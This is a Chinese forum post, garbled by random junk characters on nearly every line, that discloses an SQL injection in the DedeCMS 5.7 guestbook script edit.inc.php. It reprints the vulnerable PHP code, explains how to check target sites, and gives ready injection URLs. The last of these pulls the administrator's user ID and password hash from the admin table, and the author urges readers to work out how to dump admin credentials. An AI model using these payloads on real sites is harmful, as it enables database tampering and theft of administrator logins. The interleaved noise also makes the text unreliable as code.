影响版本为5.7# s% N$ B6 | M8 e9 v4 V3 u5 @1 O
* C) N0 U% G* L7 i% @+ q漏洞文件edit.inc.php具体代码:
( ~5 y d& K8 e' R9 {2 b4 l) s2 ]* m9 b) X9 u
< ?php
" o& E9 n) K% D W N& D3 ?$ U+ o0 E1 ~ s
if(!defined('DEDEINC')) exit('Request Error!');
5 {$ Y) t& c- j6 E( A( ?9 m5 m
% J1 G/ a3 Y A: e+ V - \6 D3 @9 g0 W H6 k _
- X+ w+ R4 D0 |! p$ u. ^; e/ \0 Gif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; 8 F: v, |4 y- a
0 Q/ p8 q3 |7 W
else $GUEST_BOOK_POS = "guestbook.php";
7 x4 T4 k* x# J h
: s" V: a- U$ A0 B6 D) J: G 5 ], [6 s' `* Q$ l$ S9 b L
& ]8 Q' \3 {: u
$id = intval($id);
* |2 l% S+ s; y5 S5 e2 T0 |
: D( y9 v1 K; e) C' e1 s1 qif(empty($job)) $job='view';
! t, N, V. Q& H7 ~0 I. L
, T8 ^) M0 u5 Y9 o% ?; v
, V8 W) {& O* i& w6 V% a$ c1 I/ k7 G& @& _9 ^8 }
if($job=='del' && $g_isadmin) 0 S/ ?% {" z3 @
& T+ ]& {3 A8 ]" R2 q) V
{ , W$ S5 z. J: E8 p
1 d7 ?* d" X8 Q* ^: B0 S$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); 7 m7 n! r: i% y
: Y) q7 z+ R; j; q. {/ i) pShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); 3 l4 d. f" ?) N& i
$ }# d8 V5 w4 vexit();
1 a, o8 Z& C8 h. i/ r* X5 D
) {5 [ b9 ?; x/ K7 I5 m b9 g} & U" n" m- F/ ?0 U' J* O8 s$ `
}. X; `0 Q% N3 Oelse if($job=='check' && $g_isadmin) 1 c1 J8 D/ `2 n
8 Q0 N w7 i% q
{ ) N. E& e0 K2 |5 T- O8 M
' i9 U: E0 B! _0 |6 S! r
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
_8 W0 a" R- Z" ]" f; s5 Q
l$ W' _" _4 g# Z5 fShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
5 h6 D# M) t% L* i5 w) E. C: B5 _: I5 W2 |: a2 w* Z7 `; W5 ~
exit(); ( p/ E. s2 L; P- L- w
( `4 i: V7 t9 b2 G' v( `# @7 D
} 3 s; S+ k' u, e3 z
1 a1 d: O ^7 _8 ~1 ~4 e
else if($job=='editok')
& z- [' [# u' E% K9 Z
/ T2 j4 }* z! z7 L6 `{
7 e+ n+ H0 B* N* p) j: v
, ?0 f4 e" n# R" ?1 k$remsg = trim($remsg);
3 Z+ G2 R* [1 }$ {! ?) f9 I4 P& V! S P4 V
if($remsg!='') " s/ u0 K% o* q1 Z }
* v g; w& i6 ?1 A/ Z0 {2 j$ D, s{ : G8 N9 P C/ @/ R
, t3 {0 }% s& k0 Y
//管理员回复不过滤HTML By:Errorera blog:errs.cc
5 s# U, F# e& Z' V( H9 C6 [4 s; R
8 ?! ^7 B8 V" H: j2 I% iif($g_isadmin)
4 g( t4 y+ ~7 v/ Y- d. d
( r/ Q6 J6 H) n1 M- K" L{
2 n( B) X9 X4 H8 i( `: g
9 e! s" G7 X) W. T3 U: C$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
+ Y! g2 e4 r5 a$ ?$ c) t9 \; @5 @# K
//$remsg <br /><font color=red>管理员回复:</font> }
- s. y7 ~' i) G% D' Z0 A/ ?( O: L! g
else 5 `- J3 `! q" c. m1 \+ t
o( K: u! L# h0 v
{
. ]& g; X( ?% \* i$ K; e
' `% m2 q/ x* F4 V! i$ ^$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
: s% ^8 |. o1 l$ D/ v- v: K
& M E$ f1 k' U! t- X/ @/ X$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; ! L" t9 s- ~" F# ~/ `0 u
/ V0 |6 `% B6 [. q; d$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
0 w5 p" W: L( h! u! i4 m9 @) T3 b% s7 c
$msg = $oldmsg.$remsg;
! W4 Y6 n5 u$ Q: ^6 @
5 A# @* K4 s8 p9 ]5 \, X} $ A) A- H1 q% L) }' [
+ I0 F0 l: z9 L& f3 _- e2 o}
L. I2 [3 U4 J9 j4 H3 [0 `% s0 K R0 ^
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc
9 u$ r, J7 Y9 v3 \# F( |) p+ U1 H" V0 l6 y2 N8 B" e8 v
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
b) f2 U) E% i4 h1 w0 N% m$ M, V; J: y e2 P% g9 T3 a
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
5 K( {+ e. J' ]- s; H) R, ?5 Y5 D1 @, J4 N2 ^2 T& W( `+ \
exit();
6 ^" D7 M0 k! X/ B! S+ u: J, j: R( J* l
}
& h6 s6 _2 t7 p$ d8 N5 g+ y% N& O0 m3 ~# V% f9 E+ v9 ]
//home:www.errs.cc
8 @0 \% H$ b8 U V: X8 f u' [+ E8 p( m; R9 C( W6 N
if($g_isadmin) 3 t" Y2 `2 W$ R6 \; P1 n" e
& h2 ^- S& P& N4 m4 \# T{ ( b5 r, C! e, ?: ^8 ?% n& M
, Q# _8 K( V6 G* z4 g& B$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
) m* c4 u0 g' q8 Y, Y N
4 c4 V: P q' W F* Mrequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
0 M& U0 [; h# |5 L0 }5 y6 M7 n, }' `5 u4 E- S7 C9 z- q% T, ]1 I
} $ k0 d' C1 E( l5 }- \* r9 O
0 U' F, Q1 \2 F1 e/ Lelse
0 B% V3 V! C. H5 I6 u! ?) \+ w" Q% K8 [4 s+ ?( |. l$ | N
{ % r7 w. o. m& u5 w/ d) ^
9 v3 U; _# [" y3 T& K/ a' X
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
/ a) e5 M& G) d/ c$ v
. ~/ p! Y% L7 _0 g( crequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); 9 t+ ]# n7 R3 q4 K; U% T; F
8 a0 h d9 s) g3 F9 c" q. D
} 漏洞成功需要条件:
) `3 n! U+ ]" b1. php magic_quotes_gpc=off
& x4 w9 G! E4 \, f' \2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
, V/ t+ P6 `2 E
0 {- ^, b' Q/ R怎么判断是否存在漏洞:( W8 K0 |0 G0 Z# Y& L' V& L
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
+ Z# m/ s6 X6 k: }然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID; U: J2 L+ `, H) a2 n
访问:
) j- h' U. W# S9 W+ c) F z4 J' w) b& L
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了" ]5 R5 X: J; ~0 b' v
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证4 G4 X$ t0 m) Z$ g H4 q* I3 R
& i3 L$ T+ T& B7 O1 g* N0 F
. O4 E6 E4 s/ j: P4 b7 x明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
! i& g2 Z+ P" l: B$ {如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。5 }* d1 w# E2 ?1 h8 y
那么再次访问2 J4 i9 g- }) |+ Y0 d3 F t9 L
& G- D' k3 O* Q7 m! f( m
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().. r' P) V* _' R, P% M8 ?! a
; r/ Z* D W2 ?# _大概利用就是这样,大家有兴趣的多研究下!!
0 {: f8 ~, a5 X U
) L& g0 z9 E8 m最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!. W/ P4 ~8 C! J6 Y' Q/ l4 H
8 J/ q$ |8 H1 s& |4 Y h
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |